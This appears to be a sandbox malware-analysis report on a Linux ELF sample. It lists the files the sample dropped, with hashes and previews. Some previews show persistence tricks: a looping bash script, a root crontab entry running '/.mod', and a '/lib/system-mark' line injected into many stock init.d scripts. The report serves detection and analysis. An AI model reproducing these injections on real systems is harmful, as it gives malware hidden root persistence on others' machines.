SHA-512:	91A32A8C6B9490CB31CDB79C2E8697DAF1637C63136658B46037D60ED47D2B6D685F62D526E87960BAF93C6875295CF0C892EDAF65B34CBEB00D9961FEE7938B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Ww0lpzmYHO.elf, Detection: malicious, Browse Filename: c4RvDuLtq1.elf, Detection: malicious, Browse Filename: linux_arm5.elf, Detection: malicious, Browse Filename: linux_aarch64.elf, Detection: malicious, Browse Filename: linux_amd64.elf, Detection: malicious, Browse Filename: linux_arm7.elf, Detection: malicious, Browse Filename: linux_arm6.elf, Detection: malicious, Browse Filename: DerI9qwTwK.elf, Detection: malicious, Browse Filename: p2GrGlDHjw.elf, Detection: malicious, Browse Filename: mJWouOfZLy.elf, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	#!/bin/bash.while [ 1 ]; do.sleep 60./etc/opt.services.cfg.done

/etc/crontab

Download File

Process:	/bin/bash
File Type:	ASCII text
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.000961982762677
Encrypted:	false
SSDEEP:	3:HFdtKeIBFv:l6eIBV
MD5:	6B13F24B625DC5B832A4AE80CFAB7DDA
SHA1:	8D0BAF4556328F9CEFB4041D67CB6BF30570AF84
SHA-256:	AC95234D459AA020883AF0A93879C835582CB60D7DD63C68F33993BA2546661F
SHA-512:	76774BF236D5DB77B09BFD2A36F190B86AC7DA7147C635CAF06A1884E151345585803885AD1FCBD60F566A48F165CBF8B445B506047CBC0A9924BF79B4C8E289
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	/1 * * * root /.mod .

/etc/init.d/acpid

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2304
Entropy (8bit):	5.099881186780916
Encrypted:	false
SSDEEP:	48:9tdVEA2+3MPMiOMdxA3Gbsbcq1himLHLHmvgjWL:9tdVEA2+3MPiI3Qbcq1Q4Hrmvt
MD5:	BD41974D1C7269BD429343943C8ED10A
SHA1:	D99E55E32229483A694B8B2EFEC8D15CF1C8FCCE
SHA-256:	56044D786BA8F4B11DDF9DBC88502ECE10246991CA383F913E9B86E57F19A28E
SHA-512:	A386FA323285EF24A9A442A5CEB8D9B2A36409B7BEC2D729031C7F83C6F3664EA1A745D35CA487A25FC953B6197F3A9FF1B35EEEFD2F90262BC2EEA7BB89D522
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: acpid.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# X-Start-Before: kdm gdm3 xdm lightdm.# X-Stop-After: kdm gdm3 xdm lightdm.# Default-Start: 2 3 4 5.# Default-Stop: .# Short-Description: Start the Advanced Configuration and Power Interface daemon.# Description: Provide a socket for X11, hald and others to multiplex.# kernel ACPI events..### END INIT INFO..set -e..ACPID="/usr/sbin/acpid".DEFAULTS="/etc/default/acpid"..# Check for daemon presence.[ -x "$ACPID" ] \|\| exit 0..OPTIONS="".MODULES="".# Include acpid defaults if available.[ -r "$DEFAULTS" ] && . "$DEFAULTS"..# Get lsb functions.. /lib/lsb/init-functions..# As the name says. If the kernel supports modules, it'll try to load.# the ones listed in "MODULES"..load_modules() {. [ -f /proc/modules ] \|\| return 0. if [ "$MODULES" = "all" ]; then./lib/system-mark. MODULES="$(sed -rn 's#^(/lib/mod

/etc/init.d/alsa-utils

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	5694
Entropy (8bit):	5.4204403708834565
Encrypted:	false
SSDEEP:	96:iKtDd9/iwmDaLEuE9nwsmFRzF+rc17NyppyhHk5eEkv:iCdlW6EuUnZeRB+rc15yryZkq
MD5:	14EB05544D93BC0B09262334CCB79F2C
SHA1:	620AC9E2B5A23703A568800376CE590445FDFBD5
SHA-256:	C52ED6032904A94A0B83DCD1CDFA83D48DA29D049A5F29BB90265492120183E4
SHA-512:	83DCDC085FBFEEC1843D8C5E8978162AA34F9ECD0E7BF4E8BBF8D8D005837FF6A69F56BF7988400CB5AF07A5AF63D6471BD8BC2DAE223CDA3500F07B0EE9C36B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	moderate, very likely benign file
Preview:	#!/bin/sh.#.# alsa-utils initscript.#.### BEGIN INIT INFO.# Provides: alsa-utils.# Required-Start: $local_fs $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: Restore and store ALSA driver settings.# Description: This script stores and restores mixer levels on.# shutdown and bootup.On sysv-rc systems: to.# disable storing of mixer levels on shutdown,.# remove /etc/rc[06].d/K50alsa-utils. To disable.# restoring of mixer levels on bootup, rename the.# "S50alsa-utils" symbolic link in /etc/rcS.d/ to.# "K50alsa-utils"..### END INIT INFO..# Don't use set -e; check exit status instead..# Exit silently if package is no longer installed.[ -x /usr/sbin/alsactl ] \|\| exit 0..PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin.MYNAME=/etc/init.d/alsa-utils.ALSACTLHOME=/run/alsa..[ -d "$ALSA

/etc/init.d/anacron

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2124
Entropy (8bit):	4.760217966755678
Encrypted:	false
SSDEEP:	24:aiF8WzzU+LuN5K6YqfOv5i1CPeFecyZR11s+M8k93ILlfWW6910kF4T0Op:7RzgTNNOhi1eAryZR1vX5fTKX00+
MD5:	B8F9EF2F7B8875CFEE672094FF6B7829
SHA1:	901405E0A0F9AF0D39010FB609E06A34FA9918F5
SHA-256:	11696FDED80A45C7CD5351D01D0C4419E69A863C3774F7F37C3FD22F22F3EE16
SHA-512:	A90371D6664E9043A8FD43A8138B245C228AFF9E64AC6A41D73C849C0CF746ABFAEABB2C1D2BEEBBC05D7451A2B84DAE4E80A0BDF64864A390FE950437CB4745
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: anacron.# Required-Start: $remote_fs $syslog $time.# Required-Stop: $remote_fs $syslog $time.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Run anacron jobs.# Description: The first purpose of this script is to run anacron at.# boot so that it can catch up with missed jobs. Note.# that anacron is not a daemon. It is run here just once.# and is later started by the real cron. The second.# purpose of this script is that said cron job invokes.# this script to start anacron at those subsequent times,.# to keep the logic in one place..### END INIT INFO..PATH=/bin:/usr/bin:/sbin:/usr/sbin..test -x /usr/sbin/anacron \|\| exit 0.test -r /etc/default/anacron && . /etc/default/anacron... /lib/lsb/init-functions..case "$1" in. start). if init_is_upstart 2>/dev/null; then./lib/system-mark. exit 1. fi. log_daemon_msg "Starting

/etc/init.d/apparmor

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3826
Entropy (8bit):	5.249219751257144
Encrypted:	false
SSDEEP:	96:RFCjnn83hjz3n1zJNSNuDNBqNPoNpMbANEF7gG9M3zRVhszRVhxRl:Wjn4hj779Gjl
MD5:	DE4607EB984BD8C2751A19FED2566718
SHA1:	B605ED61D40829230C99D2C54B401CD2E154DE20
SHA-256:	F6BC11FE360F4DB66CB6B1C7763DC087E5D8F76A7D8145F08F617FD10C4FBFFD
SHA-512:	D932550ED8287788D8E14165CB47EB3A649D40B8AE6E8EEEC6ADCCC3563D8B376BBDE5C804205BD9B174CC3786154292C2D352307F41D9649312D9BF615DFD0C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# ----------------------------------------------------------------------.# Copyright (c) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007.# NOVELL (All rights reserved).# Copyright (c) 2008, 2009 Canonical, Ltd..#.# This program is free software; you can redistribute it and/or.# modify it under the terms of version 2 of the GNU General Public.# License published by the Free Software Foundation..#.# This program is distributed in the hope that it will be useful,.# but WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the.# GNU General Public License for more details..#.# You should have received a copy of the GNU General Public License.# along with this program; if not, contact Novell, Inc..# ----------------------------------------------------------------------.# Authors:.# Steve Beattie <steve.beattie@canonical.com>.# Kees Cook <kees@ubuntu.com>.#.# /etc/init.d/app

/etc/init.d/apport

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3050
Entropy (8bit):	5.216428196190724
Encrypted:	false
SSDEEP:	48:jV/OxxHuoBusZABLm/tiUmZmNndBuSZWg/e/fuppzDGdxboGxz5:jV/OxNDBusZABLm1BmOnbuSZWg2/anOT
MD5:	FB82D03D336FC2AC2901C9D28682B408
SHA1:	992649B4B941B5B5372A6215DA4A5231BFDCD0BF
SHA-256:	F9AFCA8A53AF95CC19F4D1D2495F80335924F5C65ABE9147C5D46AE29CBEC76C
SHA-512:	8EE7107F9FCB458989553B871B06823646B765980D7BBF84C7110C0FFEA116DE7D141D5FE21BA2CFDBCA9A423434AE276D3949AB6EF1EACED8DEF7DFE6D16C40
Malicious:	true
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides: apport.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: automatic crash report generation.### END INIT INFO..DESC="automatic crash report generation".NAME=apport.AGENT=/usr/share/apport/apport.SCRIPTNAME=/etc/init.d/$NAME..# Exit if the package is not installed.[ -x "$AGENT" ] \|\| exit 0..# read default file.enabled=1.[ -e /etc/default/$NAME ] && . /etc/default/$NAME \|\| true..# Define LSB log_* functions..# Depend on lsb-base (>= 3.0-6) to ensure that this file is present... /lib/lsb/init-functions..#.# Function that starts the daemon/service.#.do_start().{..# Return..# 0 if daemon has been started..# 1 if daemon was already running..# 2 if daemon could not be started...[ -e /var/crash ] \|\| mkdir -p /var/crash..chmod 1777 /var/crash...# check for kernel crash dump, convert it to apport report..if [ -e /var/crash/vmcore ] \|\| [ -n "`ls /va

/etc/init.d/avahi-daemon

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	4.851897064111941
Encrypted:	false
SSDEEP:	48:9s2V+ig+Ui83MZoJQukTS9VC2/ulMA0uv3uKv2ZsGyjyRft/zsDE7Ed:93oijU4ukTSZux0uv3uKvdJORlADHd
MD5:	84273238ABAA8A7DE2D516C95D92F171
SHA1:	875222E1EE9FE460931E5340C94F958D1DB14C9D
SHA-256:	2BDB658E48A470E440378BC4BC4CC48B9B228BC3DF759187787A7D9FD71EEC90
SHA-512:	C226B5813A17D0640FBC77D09889F19F638FF9701CCC2E933B3DC8749674BC1918FD22011096126FEBBBBF55F91BE1D78DF8CC176D4465BA4A2426414C2D1D88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: avahi avahi-daemon.# Required-Start: $remote_fs dbus.# Required-Stop: $remote_fs dbus.# Should-Start:. $syslog.# Should-Stop: $syslog.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Avahi mDNS/DNS-SD Daemon.# Description: Zeroconf daemon for configuring your network .# automatically.### END INIT INFO..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DESC="Avahi mDNS/DNS-SD Daemon".NAME="avahi-daemon".DAEMON="/usr/sbin/$NAME".SCRIPTNAME=/etc/init.d/$NAME..# Gracefully exit if the package has been removed..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..# Include avahi-daemon defaults if available..test -f /etc/default/avahi-daemon && . /etc/default/avahi-daemon..DISABLE_TAG="/var/run/avahi-daemon/disabled-for-unicast-local"..#.# Function that starts the daemon/service..#.d_start() {. $DAEMON -c && return 0.. if [ -e $DISABLE_TAG -a "$AVAHI_DAEMON_DETECT_LOCAL" !=

/etc/init.d/binfmt-support

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	5.0501124070839
Encrypted:	false
SSDEEP:	24:ai3V6yXngSBVSBNyj6edNHcBcN6ekvx2w5mw+76opC:73ZngWVWNMNH0Y6bJ2w4wrJ
MD5:	A79B82CEAEE457E62E6EA7BAF7D1CAE5
SHA1:	B1EEBF3A9994B719F88E63BAC51A40EF3E3A4082
SHA-256:	76950791A135F0DFCCBE3A246A8085304345B40AC3DFE30BF1CA53C6BF81FD95
SHA-512:	4B6A9CEAEAC8952255DA0EAED35DAB689D80D3BD2B7D69CF3BF36D36271CCA309114D3E32C6C6797143C991DF1EAEB6491A7A36DE6AF9633F71AECB4B3D40C4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: binfmt-support.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Support for extra binary formats.# Description: Enable support for extra binary formats using the Linux.# kernel's binfmt_misc facility..### END INIT INFO..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.NAME=binfmt-support.DESC="additional executable binary formats"..if [ "$(uname)" != Linux ]; then./lib/system-mark. exit 0.fi..which update-binfmts >/dev/null 2>&1 \|\| exit 0... /lib/lsb/init-functions.[ -r /etc/default/rcS ] && . /etc/default/rcS..set -e.CODE=0..case "$1" in. start). log_daemon_msg "Enabling $DESC" "$NAME". update-binfmts --enable \|\| CODE=$?. log_end_msg $CODE. exit $CODE. ;;.. stop). log_daemon_msg "Disabling $DESC" "$NAME". update-binfmts --disable \|\| CODE=$?. log_end_msg $CODE. exi

/etc/init.d/bluetooth

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3071
Entropy (8bit):	5.403760092319036
Encrypted:	false
SSDEEP:	48:71OoPrcMbC/BUUzGrm92+kbM935LmiVQoOZoKkkFjM+Zh9YDFjMrfOte:79TcWC/BUeem92R4V5LROt5r9CE2A
MD5:	E001FF7DBF2452314EEC95D08540D7AF
SHA1:	B2B63E00B1685EAA0DACC4D5F2C07C15F0D6AE55
SHA-256:	D6AA950CFA0BA62353E3734AB3E43F1B402C1B7F95CAC3C5D99D8453D299BDF3
SHA-512:	A9EA2F92C5A94330041228C7AECEB44718EBA47017ED7A41DEC87D6EAD6D7B34F968A79CFCFDDCC38561D964D354BFB63F3F52C2EFEE76C38C80DECCEC2FA944
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: bluetooth.# Required-Start: $local_fs $syslog $remote_fs dbus.# Required-Stop: $local_fs $syslog $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Start bluetooth daemons.### END INIT INFO.#.# bluez Bluetooth subsystem starting and stopping.#.# originally from bluez's scripts/bluetooth.init.#.# Edd Dumbill <ejad@debian.org>.# LSB 3.0 compilance and enhancements by Filippo Giunchedi <filippo@debian.org>.#.# Updated for bluez 4.7 by Mario Limonciello <mario_limonciello@dell.com>.# Updated for bluez 5.5 by Nobuhiro Iwamatsu <iwamatsu@debian.org>.#.# Note: older daemons like dund pand hidd are now shipped inside the.# bluez-compat package..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DESC=bluetooth..DAEMON=/usr/sbin/bluetoothd.HCIATTACH=/usr/bin/hciattach..BLUETOOTH_ENABLED=0.HID2HCI_ENABLED=1.HID2HCI_UNDO=1..SDPTOOL=/usr/bin/sdptool..# If you want to be ignore error of "org.freedesktop.hostname1",.# please en

/etc/init.d/console-setup.sh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	4.3356283043101165
Encrypted:	false
SSDEEP:	24:9lBiePItKzeBcx2o8/z3ejhTJckS5gzjdJwZWkZg7zcOqb6:93PyKzYcg/LshTJckS5gJw8kG7A9b6
MD5:	FE88F57D8990408CAAF7688C8EB6D734
SHA1:	7160510037CCA5505F40EFBE4CE8CCC777EAECE3
SHA-256:	C01D230B67C35FB75446E7A4599A09751E8859A4462CD5EB34DF9F186B28049F
SHA-512:	3DDA7EAF95F80FD3E35D8FDBF9AB77126E2CBF39CAA5C7A1275227D5267683F43504B191F0E08E901F93667AAFEE1F21F79BA3C8A27D5622C990DAA3AE39583D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: console-setup.sh.# Required-Start: $remote_fs.# Required-Stop:.# Should-Start: console-screen kbd.# Default-Start: 2 3 4 5.# Default-Stop:.# X-Interactive: true.# Short-Description: Set console font and keymap.### END INIT INFO..if [ -f /bin/setupcon ]; then./lib/system-mark. case "$1" in. stop\|status). # console-setup isn't a daemon. ;;. start\|force-reload\|restart\|reload). if [ -f /lib/lsb/init-functions ]; then./lib/system-mark. . /lib/lsb/init-functions. else. log_action_begin_msg () {.. echo -n "$@... ". }.. log_action_end_msg () {.. if [ "$1" -eq 0 ]; then./lib/system-mark.. echo done... else.. echo failed... fi. }. fi. log_action_begin_msg "Setting up console font and keymap". if /li

/etc/init.d/cron

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3111
Entropy (8bit):	4.911661386459712
Encrypted:	false
SSDEEP:	48:5PMic6MicW4dJIrcz8WD23fK2LAb38CE1ATGuMoZisTdDKoA3gHMLf:5E3s4dJWRWD23y2LgsZCTHMnidD/A3gU
MD5:	0E0A4A7372459B9C2D8F45BAA40A64B3
SHA1:	6DEAF952235F89CBDD83FBE48C89A4F048E52043
SHA-256:	2B88ED8EFDF3262040903719AA03156C8CD73B50CF2F2FCCACB33693FE4110D6
SHA-512:	4E11C50B5F5D95CAE5B374C4597DD83F79434876598BD9C5FC32D37B765885DC1FF920D96D6594E548F08DC9D367D8C74F704C9BA49056749E5A3B4CD6D13C50
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# Start/stop the cron daemon..#.### BEGIN INIT INFO.# Provides: cron.# Required-Start: $remote_fs $syslog $time.# Required-Stop: $remote_fs $syslog $time.# Should-Start: $network $named slapd autofs ypbind nscd nslcd winbind sssd.# Should-Stop: $network $named slapd autofs ypbind nscd nslcd winbind sssd.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: Regular background program processing daemon.# Description: cron is a standard UNIX program that runs user-specified .# programs at periodic scheduled times. vixie cron adds a .# number of features to the basic UNIX cron, including better.# security and more powerful configuration options..### END INIT INFO..PATH=/bin:/usr/bin:/sbin:/usr/sbin.DESC="cron daemon".NAME=cron.DAEMON=/usr/sbin/cron.PIDFILE=/var/run/crond.pid.SCRIPTNAME=/etc/init.d/"$NAME"..test -f $DAEMON \|\| exit 0... /lib/lsb/init-functions..[ -r /etc/default/cr

/etc/init.d/cryptdisks

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	955
Entropy (8bit):	5.160229628002615
Encrypted:	false
SSDEEP:	12:aiy4BTty5r2MVOc4qVp1b7NBq2dS1uaqLgcIcrPcrmjcdpEMyuDHkkGKErIKDq7p:aiVT5MQsL1bPq2MKZcr/ZkVyKDpjQ
MD5:	3B43339B088088E5B725575549A61F55
SHA1:	98AF37D27DC1A2EFE51AD74366137D375E631BB3
SHA-256:	BF85CED45A7B48892F49D608E189307CC08330A4F2834289B847B457DFD7D28A
SHA-512:	AF7347AEE4625DBD7C23A9A411362EC940B17DBBA794E9B89DC37D893EBCB445044BDB52D21197DBCEF73C75CF697E935D729110A2125D168E82D6B5E24938FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cryptdisks.# Required-Start: checkroot cryptdisks-early.# Required-Stop: umountroot cryptdisks-early.# Should-Start: udev mdadm-raid lvm2.# Should-Stop: udev mdadm-raid lvm2.# X-Start-Before: checkfs.# X-Stop-After: umountfs.# X-Interactive: true.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Setup remaining encrypted block devices..# Description:.### END INIT INFO..set -e..if [ -r /lib/cryptsetup/cryptdisks-functions ]; then./lib/system-mark... /lib/cryptsetup/cryptdisks-functions.else..exit 0.fi..INITSTATE="remaining".DEFAULT_LOUD="yes"..case "$CRYPTDISKS_ENABLE" in.[Nn])..exit 0..;;.esac..case "$1" in.start)..do_start..;;.stop)..do_stop..;;.restart\|reload\|force-reload)..do_stop..do_start..;;.force-start)..FORCE_START="yes"..do_start..;;.)..echo "Usage: cryptdisks {start\|stop\|restart\|reload\|force-reload\|force-start}"..exit 1..;;.esac..

/etc/init.d/cryptdisks-early

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	914
Entropy (8bit):	5.158660421998386
Encrypted:	false
SSDEEP:	12:aiy2BTCZN2MVW4qVS5sNBq2dX9qLgcIcrPcrmZm2dpBdMyuDHkkGKErIKDq7URuL:ai/TTMkw5Mq2CeKYZkVyKDvjQ
MD5:	905C0E1E5CC6FFC62CA21752E3F1753E
SHA1:	8810356FC23199F23631A7656815A431E34C4C1A
SHA-256:	6418AB31DBC9A1222A89C3D896C534373D9CB2D8D5D42FC75699889979E0AC34
SHA-512:	C7735CFB23C6CC924E7B55D825F352EBFB86CAEA48DF358499EF294EBE82F49F325F3C1098AA717BA622A8545E9A116C2648B44E2066597C5D4A37E71E6F77F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cryptdisks-early.# Required-Start: checkroot.# Required-Stop: umountroot.# Should-Start: udev mdadm-raid.# Should-Stop: udev mdadm-raid.# X-Start-Before: lvm2.# X-Stop-After: lvm2 umountfs.# X-Interactive: true.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Setup early encrypted block devices..# Description:.### END INIT INFO..set -e..if [ -r /lib/cryptsetup/cryptdisks-functions ]; then./lib/system-mark... /lib/cryptsetup/cryptdisks-functions.else..exit 0.fi..INITSTATE="early".DEFAULT_LOUD=""..case "$CRYPTDISKS_ENABLE" in.[Nn])..exit 0..;;.esac..case "$1" in.start)..do_start..;;.stop)..do_stop..;;.restart\|reload\|force-reload)..do_stop..do_start..;;.force-start)..FORCE_START="yes"..do_start..;;.)..echo "Usage: cryptdisks-early {start\|stop\|restart\|reload\|force-reload\|force-start}"..exit 1..;;.esac..

/etc/init.d/cups

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2856
Entropy (8bit):	5.2245818519394565
Encrypted:	false
SSDEEP:	48:76MLNMwmbAzAZVCoLqLVO1Z6NH/qAh1UoAaYmUoG/FVv/FkG/UoG/F1RetsJ:7BWwmEMZVChFB7UoAaZUoGDvuG/UoGr/
MD5:	A13A7862BD0038FC523BFDFD69743E21
SHA1:	02BDC079157F4E2DF13C4CD4EF92BF477512348E
SHA-256:	0B82721F8B1FA32F5D25FE373FCD6DC540296675AFAD5C04A0EA18C4855DF29D
SHA-512:	4856AEFE6C5516CD19438DAD4689B3D656BA0ACFD0E498ABDA54628E1287B2C9C340040799C5B8AE68DA67970E19B41264E0F7C0416108E53D6477F5F18C7AC9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cups.# Required-Start: $syslog $remote_fs.# Required-Stop: $syslog $remote_fs.# Should-Start: $network avahi-daemon slapd nslcd.# Should-Stop: $network.# X-Start-Before: samba.# X-Stop-After: samba.# Default-Start: 2 3 4 5.# Default-Stop: 1.# Short-Description: CUPS Printing spooler and server.# Description: Manage the CUPS Printing spooler and server;.# make it's web interface accessible on http://localhost:631/.### END INIT INFO..# Author: Debian Printing Team <debian-printing@lists.debian.org>..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/cupsd.NAME=cupsd.PIDFILE=/run/cups/$NAME.pid.DESC="Common Unix Printing System".SCRIPTNAME=/etc/init.d/cups..unset TMPDIR..# Exit if the package is not installed.test -x $DAEMON \|\| exit 0..mkdir -p /run/cups/certs.[ -x /sbin/restorecon ] && /sbin/restorecon -R /run/cups..# Define LSB log_* functions..

/etc/init.d/cups-browsed

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1979
Entropy (8bit):	5.144887658077899
Encrypted:	false
SSDEEP:	48:7mU3mK7xpvyCKyhfPV5upSYf54v6YSBFQJvFS2b:7j3FpjhnV5upSYuv3ScJQ2b
MD5:	B6B52BC4EBC4D496D01B30E2CFCF2C62
SHA1:	0221F156258ED821216CBF81280EE6324BDD52E9
SHA-256:	62B6CC632C9AC071EF72CDEB7057A4B20B7AE17413A289AEC43A67162B20A989
SHA-512:	B6FD6007E039984D1E505A62C76BB3373F3AF4A4DCB7E1AB7E2DF5C66D9D2F87DEB3DE2DEE97DF8FC33E9F94975B64DF03049C4DF60A1F02FADF4D5A7F6D4ED8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: cups-browsed.# Required-Start: $syslog $remote_fs $network $named $time.# Required-Stop: $syslog $remote_fs $network $named $time.# Should-Start: avahi-daemon.# Should-Stop: avahi-daemon.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: cups-browsed - Make remote CUPS printers available locally.# Description: This daemon browses Bonjour broadcasts of shared remote CUPS.# printers and makes these printers available locally by creating.# local CUPS queues pointing to the remote queues. This replaces.# the CUPS browsing which was dropped in CUPS 1.6.1. For the end.# the behavior is the same as with the old CUPS broadcasting/.# browsing, but in the background the standard method for network.# service announcement and discovery, Bonjour, is used..### END INIT INFO..DAEMON=/usr/sbin/cups-browsed.NAME=cups-browsed.PIDFIL

/etc/init.d/dbus

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, Unicode text, UTF-8 text executable
Category:	dropped
Size (bytes):	3255
Entropy (8bit):	5.118926067111819
Encrypted:	false
SSDEEP:	96:9JOxbyAn/JNsQmx+xZRGWoGUuK2gY5W7zTXmgI:9Jw2U1MSIr7nXmL
MD5:	B05B34CA2A32E2007677F6CD40C3AF66
SHA1:	48F6C6EC5AE325D1E72224E27E98DE1CF817C521
SHA-256:	6C0251B0D84D116413A6DEF3B4D1699017BE1114E025B5E7E4B546237209574E
SHA-512:	692CE95159E6677954A6E573ADCDC5BFF11301E37CF25501F7205164CC2F4D24B6758663BE5ABD680EEC2E22C08AA491CEC269DDB696AC2D4EF99798CBC30495
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: dbus.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Default-Start: 2 3 4 5.# Default-Stop:.# Short-Description: D-Bus systemwide message bus.# Description: D-Bus is a simple interprocess messaging system, used.# for sending messages between applications..### END INIT INFO.# -- coding: utf-8 --.# Debian init.d script for D-BUS.# Copyright . 2003 Colin Walters <walters@debian.org>.# Copyright . 2005 Sjoerd Simons <sjoerd@debian.org>..set -e..DAEMON=/usr/bin/dbus-daemon.UUIDGEN=/usr/bin/dbus-uuidgen.UUIDGEN_OPTS=--ensure.NAME=dbus.DAEMONUSER=messagebus.PIDDIR=/var/run/dbus.PIDFILE=$PIDDIR/pid.DESC="system message bus"..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..# Source defaults file; edit that file to configure this script..PARAMS="".if [ -e /etc/default/dbus ]; then./lib/system-mark. . /etc/default/dbus.fi..create_machineid() {. # Create machine-id file. i

/etc/init.d/gdm3

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3102
Entropy (8bit):	5.042976496573067
Encrypted:	false
SSDEEP:	48:78unF1gLpxNlduwTebFGBzB4ndfPaMa59zqKN/UsCVADsZvOsFzmxOsFC2WtFji:7dnM1XV3B2dUdaVAGvoe2Wtc
MD5:	34C249DFA3336DB31FBE66E1CD5758F6
SHA1:	4B86122506102F1A88F72FF6D83C8E32B88F9D1E
SHA-256:	EE131550054FD4C8053F1C139C7F96CDBA8FD3F7CCFA78C1ED87DDD4FFC10D47
SHA-512:	B88FE306642B0757B24110D43BFF4A286D24C1995C0E6C3E9429E85E51D9D9DD4150BB4F99F818EDBC3CF2AFB2F9CE30CB1E7928B15CF8D41ADC330D3F0C58F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
